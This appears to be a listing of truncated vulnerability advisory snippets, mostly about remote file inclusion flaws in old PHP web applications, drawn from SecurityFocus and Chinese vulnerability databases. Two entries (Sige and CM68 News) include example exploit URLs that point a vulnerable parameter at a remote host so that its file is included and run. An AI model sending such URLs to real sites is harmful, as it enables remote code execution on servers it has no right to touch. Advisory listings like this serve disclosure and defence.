Magic Photo Storage Website user/user_extend.php _config[site_path] Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/21965/info Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the...

Edit-X Edit_Address.PHP Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/21974/info Edit-x is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying...

phpArcadeScript 2.0 displaygame.php gamefile Parameter XSS

No description provided by source. source: http://www.securityfocus.com/bid/16957/info phpArcadeScript is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input. An attacker may leverage these issues to have arbitrary...

File Uploader 1.1 index.php config[root_ordner] Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/25253/info File Uploader is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application...

Magic Photo Storage Website user/logout.php _config[site_path] Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/21965/info Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the...

GROUP-E 'head_auth.php'远程文件包含漏洞

BUGTRAQ ID: 28024 CNCAN ID:CNCAN-2008022903 GROUP-E是一款基于PHP的WEB应用程序。 GROUP-E不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'headauth.php'脚本对用户提交的'CFGPREPENDFILE'参数处理缺少充分过滤，提交远程服务器的任意文件作为包含对象，可导致以WEB权限执行任意PHP代码。 GROUP-E GROUP-E 1.6.41 目前没有详细解决方案提供： http://www.group-e.info/...

Agares Media ThemeSiteScript 1.0 - loadadminpage Remote File Inclusion

Agares Media ThemeSiteScript 1.0 - loadadminpage Remote File Inclusion source: https://www.securityfocus.com/bid/26998/info ThemeSiteScript is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to...

Sige Sige_Init.PHP远程文件包含漏洞

Sige是一款基于PHP的WEB应用程序。 Sige不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'SigeInit.PHP'脚本对用户提交的'SYSPATH'参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 Sige 0.1 目前没有详细解决方案提供： http://sourceforge.net/projects/pfadmin http://www.example.com/inc/sigeinit.php?SYSPATH=http://example2.com/scripts/020.t...

Web News 1.1 - 'news.php?config[root_ordner]' Remote File Inclusion

source: https://www.securityfocus.com/bid/25257/info WebNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks...

Tagit! Tagit2b 2.1.B Build 2 - CONFIGerrmsg.inc.php?configpath Remote File Inclusion

Tagit! Tagit2b 2.1.B Build 2 - CONFIGerrmsg.inc.php?configpath Remote File Inclusion source: https://www.securityfocus.com/bid/22518/info TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues...

Magic Photo Storage Website - includeconfig.php?_config[site_path] Remote File Inclusion

Magic Photo Storage Website - includeconfig.php?configsitepath Remote File Inclusion source: https://www.securityfocus.com/bid/21965/info Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting...

Azucar CMS Index_sitios.PHP远程文件包含漏洞

Azucar CMS是一款基于PHP的WEB应用程序。 Azucar CMS不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Indexsitios.PHP'脚本对用户提交的'VIEW'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Azucar CMS Azucar CMS 1.3 目前没有详细解决方案提供： http://azucarcms.sourceforge.net/...

CM68 News Oldnews.Inc.PHP远程文件包含漏洞

CM68 News是一款基于PHP的WEB应用程序。 CM68 News不充分过滤用户提交的URI输入，远程攻击者可以利用漏洞以WEB进程权限执行任意指令。 问题是'Oldnews.Inc.PHP'脚本对用户提交的'addpath'参数缺少过滤，指定远程服务器上的任意文件作为包含对象，可导致以进程权限执行任意指令。 CM68 News 12.02.06 http://www.cm68.de/ http://www.example.com/engine/oldnews.inc.php?addpath=http://www.example2.com...